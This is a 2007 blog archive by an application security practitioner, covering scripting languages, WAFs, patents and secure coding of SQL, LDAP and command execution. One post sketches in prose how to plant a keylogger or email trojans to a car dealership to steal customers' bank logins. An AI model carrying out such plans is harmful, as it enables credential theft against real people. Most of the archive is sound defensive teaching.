First, I'm not a religious zealot about languages. To me, languages are just tools, and learning a new language is a matter of learning syntax, and how to find the libraries I need to do the job.

For the longest time, I was a Perl coder - er....line noise coder. My code was write-only. In Java parlance, write once, ignore forevermore. The two major benefits of perl for me were availability of libraries and documentation for those libraries (owing to perl's maturity), and syntactical sugar. (Of course, I didn't know the benefits of the second until I couldn't use it anymore).

I used perl a lot. But for pen testing, I kept coming into situations where it wouldn't cut it anymore - almost always due to finicky proxy requirements. I could do SSL, I could do proxy, I could do NTLM autentication, but I always seemed to have issues dealing with combinations of the three. And it seemed that many, many pen tests had something come up that required some scripting and that the tools out there simply couldn't handle.

So for one assessment I tried out Commons HttpClient with Beanshell. I had been using Java and Struts for web development for awhile, so the transition to Beanshell was natural. And HttpClient did exactly what I needed when I couldn't seem to make Perl do it. (My apologies to the perl people for giving up so easily, but I had an immediate need. And my apologies to the Python people because I prolly never gave Python a fair shake).

So I stuck with beanshell and HttpClient for awhile. But beanshell never really made me happy. While a dynamically-typed java was nicer, it never got to feel like a scripting language because I still didn't have a lot of syntactical sugar. My colleagues jumped on the Ruby bandwagon quickly, and I jumped off as quickly because the two things I needed to be able to do with it were difficult to find libraries for. And in fact, did a lot of assessment work where I'd use beanshell to do the http plumbing, and perl to do the parsing because parsing HTML in Java is so un-natural - possible, but not natural.

I'm not sure why I gave up on groovy so long ago. I'm not sure why that one afternoon I dusted off beanshell instead of dusting off groovy, but I wish I had picked groovy then. A couple of weeks ago, I decided to look at groovy again when I had had enough with beanshell, and I was floored. It was like magic. All the library maturity of Java (I still get to use Jakarta stuff) with all the syntactical sugar of perl and all the readability of Ruby. And that there are builders for almost anything hierarchical in nature.

Going off the Rails on a Groovy Train - Part 1

2007-05-24T19:24:00.000Z

No, this was not an entry in the "Blog Post with the Most Puns or References of Ozzy Songs" contest.

Many of my colleagues are (as is a lot of the web development world) really high on Ruby on Rails. And I can understand why. Really cool Web 2.0 sounding statements like "convention over configuration" or DRY (Don't Repeat Yourself - which I just did by telling you what the acronym meant right after the acronym) are not just words, they're baked in to the way Rails operates. Rails makes the every day of web application development uber-easy. And heck, Ruby has closures which almost any legitimate scripting language really needs.

But I've always had some problems with Rails. Some of these are admittedly probably based on my fear of change, but the four most substantial ones are:

Lack of libraries: to really make your life easier, a good scripting language or framework needs to have lots of libraries to do what you need. Ruby does have lots of libraries. But when I started trying to learn it, I had two needs, and I could not find libraries for either of the two. My Rails-uber-guru colleagues couldn't find them either. That doesn't mean they don't exist, but in Perl - you go to CPAN. In PHP, you go to the centrail PEAR repo. In Java, if it's not there already, Apache already wrote it. In Ruby, it might be on Rubyforge. Or there might be thirty of them hosted on various people's blogs - no telling which ones are bulletproof. This will get better with time.
Lack of documentation: which is probably a legitimate complaint for anything FLOSS. And this goes hand-in-hand with the lack of libraries (or lack of a couple of de facto standard repo's). With Java, you know the doc is good.
Inability to leverage existing work: For new applications, Rails is fantastic. But because Rails runs on Ruby, there's not (yet) a way for me to leverage my existing work in existing VM's without turning my existing work into web services (shame on me for not doing it right the first time - but did you?)
Key exposure: Part of the convention over configuration theme turns into key exposure. URL's say things like http://server/blog/post/edit/832 - where 832 is the primary key field of the post I'm editing. Now, key exposure is not that big of a deal if 1) the key by itself has no meaning, which if you follow convention, it doesn't, 2) there's no SQL injection, which ActionRecord deals with nicely, and 3) you do permission checking for that object on every action - but that check is up to you.

That being said, Ruby on Rails is a really big and good step in the right direction. However, the first three items are killer for me - it doesn't matter if I can "scaffold" a really complex schema in 8.3 seconds if I'm going to spend 8 weeks writing my own XSL translator or re-inventing the toaster oven.

In the next couple of posts, I'll explain why I looked (back) into Groovy and why I'm (currently) geeking on Grails.

Evading Spam Filters with Spam?

2007-05-20T17:30:00.000Z

In order to evade Bayesian filters, spammers add lorem to their mails so that they look legitimate. This is in addition to the odd punctuation or misspellings of words that will ordinarily show up in the Bayesian filter's vocabulary blacklists.

Do you think the spam will ever get to a point of maturity that we have to add spam vocabulary to our legitimate emails just to get them through the spam filters? Meaning, will the spammers ever stop making it so obvious the type of product they're advertising that those words get removed from the filters, meaning legitimate emails would need to have enough of those just to get by the filters?

Man I wish more people would adopt and pay attention to S/MIME or PGP signatures. Obviously, spammers can use those signatures as well, but at least then I can have my email client check who the signature is from for me. Rats! There are always trojans to send the emails out and fill in the passphrase boxes, too.

Grossman: May 2007 Web Application Security Professionals Survey

2007-05-08T19:17:00.000Z

First of all, if I told you about this, shame on you for not watching Jeremiah Grossman's blog. Go add it to your reader now. I can wait.

Now, go fill out the survey if you're a web application security professional. And if you're not a web application security professional, go ahead and respond anyway - it's open to anybody who works around the web application security field, so if you're a webapp engineer or coder or researcher, you still count.

Follow his blog for the results. And look at the results of the previous survey's - interesting stuff.

A Sad Story

2007-05-07T13:51:00.000Z

A few weeks ago, I was helping a friend shop for a used car. When my friend started asking questions about how to pay, they said they preferred a cashier's check, but if it was on the weekend and you couldn't get one, they would take a personal check if they could verify that your account had the funds to cover the check. The remainder of the conversation went something like this:

Me: So how do you verify?
Salesman: Oh - we can just verify it online?
Me: Wow! What service do you use to verify it? [I was shocked such a service might exist.]
Salesman: Oh - there's no service - you verify it for us.
Me: So how do you handle that?
Salesman: We just ask you to sign into your bank account and show us the balance.

At this point, I'm already shocked, but then it gets worse:

Me: So how many people refuse to do that for you? I mean, people turn you down on that offer, right?
Salesman: As long as I've worked here, I don't remember it happening once.

So, to buy a car on the weekend or after 3pm, I'm supposed to log in to my bank account from a public computer with at least one complete stranger watching over my shoulder, and probably with cameras all over the place?

There were a couple of attack vectors from this:

If the computer they want you to do this from is a "shared" computer - i.e., one somewhere central - not the salesperson's computer, walk in pretending to want to buy a car. At home, you set up your fictitious bank account and mention to the salesperson that they require uber-security - so you have to plug in your thumbdrive as another verification factor (or you're uber-paranoid and don't know your own password and put it on a password safe - they evidently don't know that the uber-paranoid wouldn't put their password safe on an untrusted computer anyhow, so it'd fly). Thumbdrive has the keylogger, and you just have it phone home. Since this machine is the only one used for verifying account balances, you'd get a pretty good frequency - particularly on weekends.
If you're asked to sign in from the salesperson's computer, you just find out the email address policy - how do they construct their addresses. Get as many business cards as you can while you're there, call numerous times getting a different employee name each time you call, divide it up - do you need service? Or to buy a car? Or just general information? You'll probably get a different name each time, assuming the place is big enough. Then email every address you got, include your trojan there. Any place that asks customers to sign onto their bank account on a public computer probably would never know you installed a trojan.

And then, (I alluded to it earlier) - what is their criteria for trusting the value? Do they check the URL? Or do they just look over your shoulder? Could I make up my own bank and host it at home? Or would they believe me if I printed off my account balance and brought it in?

Do We Really Need a Security Industry

2007-05-06T15:29:00.000Z

When somebody posts something critical of what I've written, I'm careful to go back and read my own words. And I frequently find that I'm flat out wrong. And in other cases, such as this one, I write before I think (similar to implementing before you engineer) which ends in me looking very unprofessional.

RSnake was (rightly) defending himself after I made a flippant remark about his warming up in one circumstance to WAF's. And my remark neither fully explained RSnake's decision, nor gave a complete picture of the depth of the decision in one circumstance. RSnake gave a great deal of thought to how WAF's can be beneficial, and certainly did not say they were some sort of a silver bullet solution to all security failures.

Here's my take on WAF's. Like RSnake said about Schneier, I wish it were a perfect world. I wish programmers didn't make mistakes. Even earlier, I wish software engineers thought more like civil engineers. I wish the really poorly-conceived models we have, and poorly-coded applications we have, and all the insecure frameworks we have could just be chucked and re-conceived, re-coded, and re-engineered. But as has been pointed out to me many times, I have my head in the clouds, and not grounded in reality.

That being said, if you are able to go back to square one on an application, or if you're in the infancy of engineering something, it is far more effective and cost-effective to design things right the first time. If you have a real need for WAF's in the future, then you need to go back and look at your processes to see how you can do things better on the next iteration. WAF's are great as a safety net, but will never help your programmers and engineers do their job better, but they may have the adverse effect - by covering up for flaws made by programmers, they may train the programmers to not do the right thing and to completely rely upon the WAF (or the hacking team, or the security scanner) to catch their failures.

WAF's can be fantastic in those circumstances like RSnake spoke about - where re-engineering is a complete non-option, or when the application is never going through other iterations and will soon be retired. And I'm not even supposing that you shouldn't always use them - but when starting from scratch, never rely on them to provide security you should have baked in yourself. WAF's don't know your application the way you do, and in order to make them know the application the way you do requires you to write logic into the WAF that you simply should have written into the application.

Now, as far as RSnake is concerned, I value his opinion more highly than my own. He's the one who's been in (and out) of the industry far longer than I have. He's the one who's asked to give lots and lots and lots of presentations, not me. The masses respect is opinion much further than mine (and for once, in this case, I think the masses are right). I ground almost everything I write in the philosophy of how you should write things if you're writing them new. RSnake is firmly grounded in reality. If he says something is busted, you'd better read what it is, and figure out if yours is too. If you're writing from scratch, or doing a complete re-write, I highly encourage you to look here and see if there are good practices you can employ to make your application better from the beginning.

RSnake, my apologies for making such a statement without fleshing out the thought. In the event we ever get to meet up, I'll buy you a pop - but seeing as how you're in Texas now, it's all called Coke regardless of what brand or flavor it is. "You want a Coke?" "Sure!" "What kind?" "Sprite."

My Dog Ate My Homework (or a buttefly flaps its wings in Hong Kong)

2007-05-04T13:27:00.000Z

I try not to post items of a personal nature here, but this is too good. I'll see if I can apply it to engineering or security somehow....

Last night, my finger was hanging off the edge of the bed. The cat decided to play, so attacked the finger. We played for a little while like that. Then she fell on my alarm clock (I guess) that sits by my bed on the floor.

The alarm clock is battery powered, so it's LCD. So it has a backlight button. When the cat fell on it, the batteries got jarred just right or something, so the backlight wouldn't go off. This really annoyed me, so I picked up the clock and shook it, and the light didn't go off. I looked at the display: "88:88:88". So great, something really got jarred well.

So I took the batteries out and popped them back in. The clock receives a radio signal from the atomic clocks, so I set the timezone, but it never could get a radio signal to set the time. So I manually set the time.

I meet with some guys on Friday mornings. One of the guys knows I loaned a car to somebody, so would need a ride to our gathering. The phone woke me up 20 minutes after my alarm should've gone off, and my buddy said he was on his way and would wait outside for me - but he was like 2 minutes away.

Still sleepy, I was still trying to figure out why my alarm didn't go off. My clock said it was one hour earlier than it really was. So what had happened was when I set the timezone, I neglected to set the DST flag. And in the middle of the night, the clock picked up a signal and (correctly) set the time for one hour ago.

And to top it all off, I have a calendar event for my regular meeting. It's supposed to send me an SMS in time for me to get up and make it to the meeting. But that message didn't come today.

Talk about the planets being in alignment.

So if there's anything we can apply here to security or engineering:

Better (in this case, atomic clocks) isn't always better.
DST is a waste of time. It's there so there are more daylight hours. How does changing our clocks change the tilt of the earth or the rate of its rotation?
Sometimes, two points of failure aren't enough (alarm clock and SMS message).
Cats ruin everything.

Schneier: Do We Really Need a Security Industry?

2007-05-03T18:07:00.000Z

Finally - somebody else said it. I've alluded to it here, and here. There are so many products out there to make up for things we should have done earlier. Which is why I'm so sad that RSnake is coming around to the idea of WAF's.

We make and sell these products to bolt on security when it's too late, rather than making things secure from the beginning. And not only that, we never really engineer the type of information into the design, either. Does your application really need for admins to be able to read all of the home addresses of your users, when you really just use a third party to do the shipping? Then you don't need to store it. The less sensitive information you have in the first place, the lower the risk of getting hacked. That's a design decision that needs to happen really early. Rather than trying to figure out how to protect credit card #'s, have we thought about whether we need them in the first place?

So back to the point - Schneier seemed to see at the conference a lot of what I see in trade rags now - product after product after product that doesn't really protect you, it discovers what's already broken - and something that should've been engineered properly in the first place.

Better ingredients == better pizza.
Better engineering == more secure code (without having to bolt on security later).

False Positives vs. Non-Exploitables

2007-04-28T02:57:00.000Z

Another professional and I sat down to coffee a few weeks ago, and we got around to a conversation we seem to have often. I feel almost ashamed to publish a post on it when there's no "other side of the argument" here to defend itself. So please bear with me as I try to do both arguments justice (and tell you why my side is right).

Consumers of security tools have long asked that the tool reduce the number of false positives. And this is certainly understandable - it's very difficult to know what to fix when the list of things that are broken includes so many things that aren't broken. All areas of security try to sell you on their perfect false positive to false negative ratio. Theoretically, the two are on separate paths that at some point intersect - as the sensitivity of the tool is increased, false positives go up, false negatives go down. As the sensitivity is relaxes, false positives go down, false negatives go up. The theoretical ideal of the two is where the two are equal - this would be the lowest sum total of the two.

Tool vendors have to make their customers happy. And false positive to false negative ratio is one metric that all vendors use to prove the value of their tool. None of the tools out there use the same taxonomy, result format, reporting, etc., so the only apples-to-apples comparison we have is false positive to false negative ratio.

Now, the tool vendors work very hard to get the false positives to decrease, and depending on the type of tool, they do it varying ways. Application firewalls may use anomaly detection rather than flagging everything with known-bad data. Static analysis tools build a call tree to see if the data is sanitized anywhere in the process, and if so, it's not reported. Dynamic analysis tools don't report "evidence of", they report real exploits.

This is both good and bad. The good side is that because false positives are low, when something is reported, you can be pretty sure it needs to be fixed. When a static analyzer finds an injection flaw, you know that the data goes soup to nuts without being properly checked or encoded. When a pen testing tool finds something you know it didn't find those pesky points where you got back an angle bracket, but just couldn't get a real injection attack.

However, I think that false positives have been confused with non-exploitables. When pen-testing, those pesky points where you get back a real angle bracket, but can't get a real injection to work, although there's no injection, you have sufficient proof that encoding is not taking place. And in static analysis, if you see a place where data goes to a "presentation layert" (database call, screen, wire, LDAP server, command shell, etc.) without being properly encoded, you have a real flaw, even though it's not exploitable.

There are two primary reasons that not reporting non-exploitables is dangerous:

Although the point is not exploitable today, there's a false safety net keeping it from being exploitable - a string length restriction that could change tomorrow, or an input policy that happens to be checked today, but when the same input is accepted from another source tomorrow, the same checks don't take place.
When asked to fix problems, developers must take the results of the test to make their decisions on what to fix. If output is not encoded in two places, and only one is reported, how will the developer learn what to fix by output encoding? They'll learn to fix the ones the tool reports. So how so developers learn to code correctly? They don't - they learn to code the way they always do, then count on the tool to correct them later. Even if it's not exploitable, non output-filtered code should be flagged (possibly rated differently in severity).

So for the security practitioners, do your developers a favor and document those "uncomfortable places" where you couldn't get a really good exploit to work, but you know there's something not behaving properly. When you're doing a manual code review, flag all of those places where data goes to a presentation layer without actual encoding.

And developers, do yourselves a huge favor and when a report comes back with flaws, demand that whoever made the report (your tool, your security team, your peer reviewer), explain to you why it's a problem. Don't simply fix that issue. Discover how you fixed it, and how you can apply the same fix to other locations that weren't reported to you. And more importantly, make that fix a part of your programming habits, so that you just write it that way in the future.

Struts, I never knew thee

2007-04-15T00:43:00.000Z

It's certainly not a complete transformation, yet, but in small projects, I think I'm going to give up on Struts Action, and am going to take Stripes for a spin. Once I finally got my head around all the configuration (or at least enough configuration to get an application operational), I really began to love Struts, but there was always something very inelegant about it.
Now, all my Ruby on Rails fanboy co-workers make fun of Stripes because in Java, it's probably too little, too late. But to me, it's a close-to perfect balance between Struts (where you must understand everything that's going on) and Rails (where you don't know squat about what's going on). I have a problem with not knowing what's going on, as in Rails. And I know that if you spend enough time, you can figure out what Rails is doing. But it's ridiculously simple to do the ridiculously simple in Rails, but if you need to customize that in the least (say, remove key exposure), then you're going to spend as much time re-implementing things, in which case you save yourself no development time, and at a substantial cost (it's basically CGI, so long-running processes have to be fork()'ed and detached). And with Struts, knowing what's going on comes at a huge cost - you have a bazillion configuration files, and as soon as you use the Struts tag libraries, you have to make all the components (an action, a form bean, and the JSP) all at once.
So my task for this week is to get a nice-looking base ActionBean class for Stripes that I can use with utilities necessary to generate and check action tokens to deal with XSRF and Javascript Hijacking. Then on to adding Prototype to some mock-up apps around the house.
And if you can't tell from this post, I'm really slow about adopting new frameworks.

Should We Trust Frameworks?

2007-04-11T00:33:00.000Z

In light of Fortify's recent study of FLOSS libraries and frameworks for Ajax with regards to Javascript Hijacking, I thought I would provide some help in making decisions on whether to use a framework/library/API, or to roll your own for what it is you're doing.

Obviously, it would be foolish of me to have a "sky is falling" mentality about the findings, but there are some common-sense things to keep in mind when selecting an API or writing a new API for what you need to do.

New is not always better. It's just new. This applies to API's and technologies both. For example, when some FLOSS project releases a brand spankin' new Ajax library, that doesn't mean it's better than everything else out there.
Do you need a new technology? Is Ajax really going to substantially improve your user experience? Or are there other features that should be implemented first? Whatever the new technology is that you hope to implement with the API, evaluate your need for the technology in general before you even go to selecting a tool provider.
Is the provider a trusted source? This is becoming harder to deal with as really rich, interactive web UI's are becoming the norm. Several years ago, there was a shift to making large improvements for the sake of developers, and MVC was going mainstream in webapps. After a few years, a handful of really good MVC frameworks emerged. Can you wait that few years for the really good new framework to emerge?
I don't have a metric for this, but is there a "number of man-hours invested into development" appropriate for the function the library provides? For example, are you going to pick an API by a guy who spends a couple of hours on the weekends developing the tool, or something where there's a really active development team spending a total number of hours far exceeding the one guy? More is not necessarily better, but in the FLOSS community, really active projects generally get a little more momentum in getting things fixed.
Is the API/toolset extensible? This is a huge one for me. I want to like Ruby on Rails, but I have a real problem with key exposure. And I have a real, real problem with not being able to work my way to the internals to make Rails work with a layer of indirection without having to write all my apps to use it - end result, it's just as quick for me to write my apps in a "slow" framework where I can change as necessary.
Has the provider responded to findings in the past? Do they fix security things? Or do they ignore them and possibly provide documentation so you can fix it yourself?
Will the API save you enough time and give you enough flexibility to outweigh the benefits of writing it yourself? I can't phrase this in the right way strongly enough. Fortify found problems with a lot of Ajax libraries. But they are far more likely (the active ones, anyhow) to fix the problem and fix it right than you are, unless you're one of them. Not an insult to you, but if you're really good at writing applications, try to spend your time doing that, rather than writing your own frameworks.

The question on the last point probably came out wrong. If you even think for a moment that you can write the API yourself, please reconsider and look into some of the more mature API's and frameworks out there. I think all of us who do security assessment have seen too many opportunities to use good API's go by the wayside and be replaced with home-grown API's that are really deficient. The two things in the past that I still see come to surface are home-grown crypto API's (really bad idea), and home-grown MVC that almost always have directory traversal, forced browsing, or arbitrary object instantiation issues.

So, even though Fortify found some problems with the frameworks out there, please consider using one of those. But before you consider using one of those, consider whether it's really time to implement that shiny new technology at all. You might have better functionality that you can provide without committing to something that's really immature right now.

More on: Opinion: Jikto - Evil by the Good that will result in Good

2007-03-23T02:18:00.000Z

A friend pinged me in confidence, regarding my last statement on the post:

"the good guys will be able to invent a silver bullet to fix this thing once and for all."

One really bad thing about the type-written word is that it's very difficult for vocal inflections to come across properly. Anybody who knows me personally knows that I tend to think with my mouth at times, rather than with my brain - I say the words before I have a chance to process them, and I tend to use sarcasm more than is really prudent.

The remark I made about the good guys finding a silver bullet was and was not meant to be sarcastic. Here are several things I can use to clarify the remark:

I don't think there's going to be some "magical solution" that will make XSS go away all by itself. History and browser security tells us so.
I do believe there's a cure (output filtering, XHTML, proper input filtering, level of indirection) for it, but it doesn't implement itself. It takes a lot of work to discover existing problems, fix those existing problems, and instill a development culture of good coding practices.
I do believe that the organizations that want to be rid of XSS can be rid of it, but again, it's hard.
I am not sorry I made the statement.
I am sorry for not clarifying what I meant. I shall try in the future to make sure that comments I type don't rely on the reader to read with the proper vocal inflections to understand the meaning - especially since English is not the primary language of many of my readers.

And Billy Hoffman (or somebody pretending to be Billy - but they type a lot like he speaks) has posted a blog entry explaining what the discussion will be about, and defending the means by which the information will be disclosed. And with that, I acquiesce any further discussion on the matter directly to Billy himself - how dare I try to tell you what he meant.

Opinion: Jikto - Evil by the Good that will result in Good

2007-03-22T16:38:00.000Z

At Shmoocon, Billy Hoffman of SPI Dynamics is supposed to release information about a tool he's been working on called Jikto. And a lot of stink has come up about whether the tool is good or evil. And here's my post to let you know that I'm going to sit comfortably on the fence.

If the good guys were always ahead of the bad guys, then this would be evil, but it also wouldn't matter. The thing is, because the bad guys have more time resources than the good guys, they have other advantages (you have to make your app work exactly as expected under all circumstances; they have to make it behave abnormally under one circumstance) the good guys always do things in response to what the bad guys are doing.

See, Firefox and IE didn't add their anti-phishing technology, and then the bad guys started phishing. We didn't start doing source code analysis, and then the attackers responded by trying to make SQL injection. We didn't decide to use single-use tokens on form submits, and then the bad guys responded by finding XSRF attacks. All of these things happened in the reverse order. I wish it weren't true, but it is. The bad guys work in an environment where:

They have all the time in the world because their attacks don't have a project deadline
They're rewarded for creativity, or if they're not recognized by their organization for creativity, they'll do really creative stuff on their own and make all the money personally for it
They have all the targets in the world, not just one
They have lots and lots and lots of people because (strangely) they don't have to pay them. (Black markets are really interesting one - they get more resources because they don't have to be paid - there's not an economical limit to the number of people they can add).

So, Billy is a good guy. He's uber sharp, and I think Jikto will be a killer app. And Billy is on the white side of the fence. But maybe a javascript hacking botnet is exactly what the industry needs to get all those organizations who don't currently take security seriously to begin doing so. And maybe because a good guy released a goodbad or badgood tool to the bad guys (or to the public in general, which includes the bad guys), the good guys will be able to invent a silver bullet to fix this thing once and for all.

It's a real patent

2007-03-22T15:28:00.000Z

In an earlier post, I mentioned that somebody managed to get a patent for the doubly-linked list. A friend told me it was a hoax, so I did a little research. Turns out, it was not a hoax - Ming-Jen Wang of LSI was awarded patent number 7028023. The friend who told me it was a hoax is no longer a friend.

On the other hand, it's not simply the doubly-linked list that was patented. It was a tertiary list of pointers for indexing on top of the doubly-linked list. That is, a doubly linked list allows you to iterate through the items forward and backwards by some key field. Wang's patent is on adding another key field that you can iterate through the list by something other than the key field. So it appears one of two things is going on here: 1) I totally don't understand the patent (entirely possible - feel free to correct me if that's the case), or 2) a patent was awarded to an incremental improvement of an existing algorithm by implementing the same algorithm a second time. Like making a brick wall stronger by using a second layer of bricks.

Patent Nonsense

2007-03-19T13:29:00.000Z

Admittedly, I've not read the entire patent, but this guy managed to get a patent for the linked list. If you read only the Abstract, it looks like the patent would cover using a list of pointers to point to items in a collection - not the items in the collection containing pointers to the next item. Reading the details, though, shows this not to be the case (phew! Was thinking that even Blaise Pascal wouldn't be immune to this one!)

It looks like (only when you read the detail) that the patent would truly only cover doubly-linked (or n-linked) lists, not singularly-linked lists. However, this is still a really broad patent of a data structure. I told a buddy who is a transportation engineer that this would be akin to patenting the wheel. Not the tire. Not a particular type of wheel. The wheel.

Living in a capitalist society, the one thing that bothers me the most about the patent office is not the patents they allow through. It's that the patent office has a monopoly on the patent process. See, as security professionals, if we decide that a standard of measurement is inadequate, we can invent a new standard of measurement, get a bunch of other security professionals on board, and the standard is effectively changed. What we need is a new patent office. But if we were to start a new patent office, and everybody bought into it, it still wouldn't be the patent office.

A Really Best Good Practice

2007-03-19T00:53:00.000Z

It's been a few years since I've written a lot of code. Certainly I've written individual scripts to perform particular hacks, and I've cobbled together little systems here and there over the past few years, but not writing code day in and day out, I had forgotten the value of something very important.
Last week, I was re-introduced to manual code review - and on paper at that. I used to have a co-worker who always insisted on printing out code, complete with line numbers. He'd have a highlighter and a pencil handy. I never really understood what the big deal was. But last week, being re-introduced to it, I saw value in it like I had never seen.
There's a great deal of value in getting your code away from the computer to analyze it. When you review it on the computer, you have the ability to fix it right away, rather than see pieces in context to determine better architectural changes that you might not have otherwise observed. Also, getting the code on paper gives you the opportunity to really focus on a section of code, without being distracted by other sections, or (heaven forbid) email, IM, the newsreader, etc.
And there's even greater value in getting your code in front of your teammates. Even if you're the sharpest person on your team (I am not), you can learn from the less sharp on your team, and you're doing a benefit to those on your team who aren't familiar with particular algorithms or techniques.
So if you don't do it, begin doing team code reviews. On paper. With a highlighter and a pencil. And if you can't do it on the entire codebase, do it particularly on the most critical sections of code (which might not be the most interesting parts). You might actually find some things a static analysis or a pen test might not find. And you just might learn some things that help you write better code the first time.

Bitten by the Y2K7 Bug

2007-03-11T13:54:00.000Z

Was about to go to some Geocaching when it occurred to me that GPSr's use the time in order to know where the satellites are. If you're using your GPSr to keep you from getting lost in the wilderness, make sure you manually adjust for DST (assuming you're in a DST zone, and your GPSr doesn't know about the legislative changes). You might think you're headed back to the trail and end up heading into the mouth of a volcano.

See what happens when we rely too much on tools?

Good Habits Part II-c: Output Filtering SQL LIKE clauses

2007-03-07T03:01:00.000Z

As I had said at the beginning of the "good habits" series, I wanted to cover more than the usual suspects. So here's one that seems to frequently get missed....

When creating Prepared Statements or Parameterized Queries, everybody knows how to use placeholders for literals where the entire literal is being replaced. For example, rather than:

stmt.prepare("SELECT lastname, firstname FROM person WHERE lastname = '" + strLastName + "'");

It's better to do something like:

stmt = conn.prepareStatement("SELECT lastname, firstname FROM person WHERE lastname = ?");

But what about a like clause?

WHERE lastname LIKE '" + strLastName + "%'"

Well, you can actually include the literal as a parameter and concatenate the trailing wildcard:

WHERE lastname LIKE ? + '%'

Now I just wish I knew how to deal with underbars - a single character wildcard - as part of the literal, while still giving the application the safety of the prepared statement.

Good Habits Part II-b: Output Filtering LDAP

2007-03-06T03:15:00.000Z

I did some research before this one, and it's sad that there seems to be so little support in built-in libraries for dealing with output filtering (er - rather "parameterized LDAP queries").

LDAP searches are every bit as susceptible to injection flaws as any other presentation engine. Fortunately, Java provides a parameterized search method. Unfortunately, I can't seem to find an equivalent in other API's.

In Java, rather than simply building the query by concatenating user input, a la:
qry = "(cn=" + strName + ")";
Where strName is injectable (user can include * to return all names, a bad thing, or use parenthesis to close the query, or include other attributes in the search), a better approach is to do something like the following:
qry = "(cn={0})";
result = ctx.search(root, qry, new String[] {strName}, ctls);
With that, strName is properly escaped before being injected into the query.

I looked for how to do this in Perl's Net::LDAP, the OpenLDAP C libraries, PHP, and Ruby, and they all seem to require the developer to do the encoding. The search filter RFC only seems to indicate that *, ), (, \, and need to be encoded, using a backslash followed by the hex of the ASCII value of the character, which would seem to be enough. However, you need to be very careful of what character encoding you're expecting your input in, and any escapes that might be taking place there.

So in Java, do your self a favor and use the search() that takes an Object[] as one of the parameters. In other languages, be very careful on output filtering.

More on Output Filtering Command Calls

2007-02-26T02:34:00.000Z

The C example I gave was incomplete, by the way - that includes no way to do IPC. It simply calls the downstream process but doesn't read the results or anything. If you add pipe(2) and the necessary read/write loops on each of the processes, it can get quite un-pretty very quickly with all the necessary error checking. Certainly not impossible - that's why the calls are there, but unless you're really comfortable writing that sort of stuff, there's some more motivation to try to avoid command calls. You've been warned.

Good Habits Part II-a: Safe Command Execution

2007-02-24T19:20:00.000Z

If you've been even moderately exposed to application security, particularly web application security, you should see the title and immediately think I've lost my mind. With output filtering, since there are so very many examples of how to do the more common things (HTML encoding, SQL Prepared statements, etc.), I thought with the output filtering examples, I'd try to do a couple of twists on each of those. So the examples I give will not be typical.

That being said, the absolute first recommendation with command execution is don't do it! At all. If you can possibly avoid it. Do anything you can to not have to do command execution.

Now that that is cleared, there is a safe (well, safer) way to deal with command execution than trying to deal with shell metacharacters yourself. Almost all environments and frameworks have a form of a multi-argument command execution function. In *nix environments, they're all based on the execve(2) command and its descendants (execl(3), execlp(3), execle(3), execv(3), execvp(3), and execvP(3)). Here's how you deal with this in some of the more common environments:

C/C++
execve(2) and descendants replace the current command with the one specified. So if you only want the command executed and need to do something afterwards, you must fork(2) first. Dealing with input and output is left as an exercise for the reader. In P-code, it looks something like this:

pid = fork();
if (pid) {
/* This is the parent process.
wait for junior to finish up. */
wpid = wait(pid, &status, flags);
} else {
/* I'm the child process.
call my nasty command-line */
execv(cmd, args);
}

Now you probably don't want to spend a lot of time parsing environment and such in a C CGI, but the example is there because it applies to other environments, such as...

Perl
P-code looks exactly the same. But I need to mention that the usual way of doing execution in Perl is to use backticks. DO NOT DO THIS! You can't possibly do enough input validation to know that every metacharacter will be taken care of. And even if you get it right, you're going to make mistakes in the future. Also, don't do system() which would seem to be a good way to keep from replacing this process - it behaves the same as the backticks, so metacharacters aren't properly escaped. Do it just like you do in C/C++ - fork, exec, wait.

Ruby
The scripting languages closely tied to the system are nice because I don't have to spell out new examples. With Ruby, use the C/C++ means. It's harder, but that's what you get for thinking you need command execution. Fortunately, because of closures, it's a little prettier in Ruby:

fork {
exec(cmd, args)
}
Process.wait

PHP
Not that I'm lazy (okay, I am) but pcntl functions actually have to be enabled at compile time. I don't use PHP much, so the PHP I have here wasn't compiled with it enabled, and I won't be compiling another anytime soon to enable it. The functions work just like their C parents, so the model will look like the others:

$pid = pcntl_fork();
if ($pid) {
# In the parent
} else {
pcntl_exec($cmd, $args);
}

With all of the C derivatives, there's a lot more error checking you could and should do. It would behoove you to find out about zombie processes, reaping dead children, and the like. And again - if you insist on doing command execution, you asked for it.

Java
Java's version of "safely" starting a command is a little more elegant (IMO) than the C derivatives. In Java, it's much easier to get STDIN, STDOUT, and STDERR handles for the newly-created process. If you have a pre-1.5 Java, you can use Runtime.exec(String[]), and if you have 1.5 or newer, you can use the new ProcessBuilder, whose two contructors are a List<String> version and a String... varargs version. Runtime.exec(String) does not escape shell metacharacters, so stay away from it.

When you call Runtime.exec() or ProcessBuilder.start(), you'll be returned a Process object that you can use to wait for the process to complete, and it also has input and output handles to get results from the process, as well as the return code.

.NET
Sadly, from the reading I've done on fixing this in .NET, there's not a really good solution. There's a nice OO interface as in Java - System.Diagnostics.Process, but Process has an Arguments property that is a single string with all the arguments, so it'll be processed by the shell with all its metacharacters. So you're going to end up being stuck with the Windows API for starting commands to work around those, which is even uglier than the fork, exec, wait set on *nix'es. If anybody has a more elegant solution that includes metacharacter filtering on .NET, please let me know.

Conclusion
Now, you still have lots of other things to consider - has the command you want to call been replaced by some other? How does environment play into all of this? And the most important thing to consider is whose effective ID will be running this process. Just like any other form of injection, you still have to consider the rights of the process that starts this off.

And let me reiterate - don't do this at all unless it's absolutely, positively necessary and there is no other means to accomplish what it is you want to do.

Web Application Security Compared to Other Software

2007-02-23T15:00:00.000Z

Security Retentive had an interesting perspective on proper engineering in software as it pertains to the Engineer's Code of Ethics. Which reminded me of a post I've wanted to make for a long, long time.

I've probably written about a dozen lines of Forth in my life, so I don't know for sure that the issues don't exist. But with regards to writing code with excellence - academically "correct" code, what if people who wrote the following pieces of software did so with the same haste that many web applications are written with:

Device drivers
Flight Control Systems
Power systems
water/sewage systems
Defense systems
Voting Machines

Am I being naive to think that input validation, output filtering, and flow control are the real building blocks for really important systems? I mean, can you imagine if a nuclear power plant had the firmware equivalent of a cross-site scripting vulnerability?

I really wish even web developers would begin to see their job as a craft - a highly skilled position that needs care and thought, just like people who engineer drawbridges.

Too Much the Perfectionist

2007-02-23T01:31:00.000Z

I think I'm too much the perfectionist. I get too worked up about doing things "the right way". In a perfect world:

We'd not focus only on making the problem go away, but also removing our own sensitivity to the problem
We wouldn't need application firewalls because there would exist no semantic flaws.
We wouldn't need ethical hackers. They're smart and creative, and I like them a lot - I was one. But if the world was perfect we wouldn't need them.
Perfect code would come out of user acceptance testing, which would go much quicker without a security review.
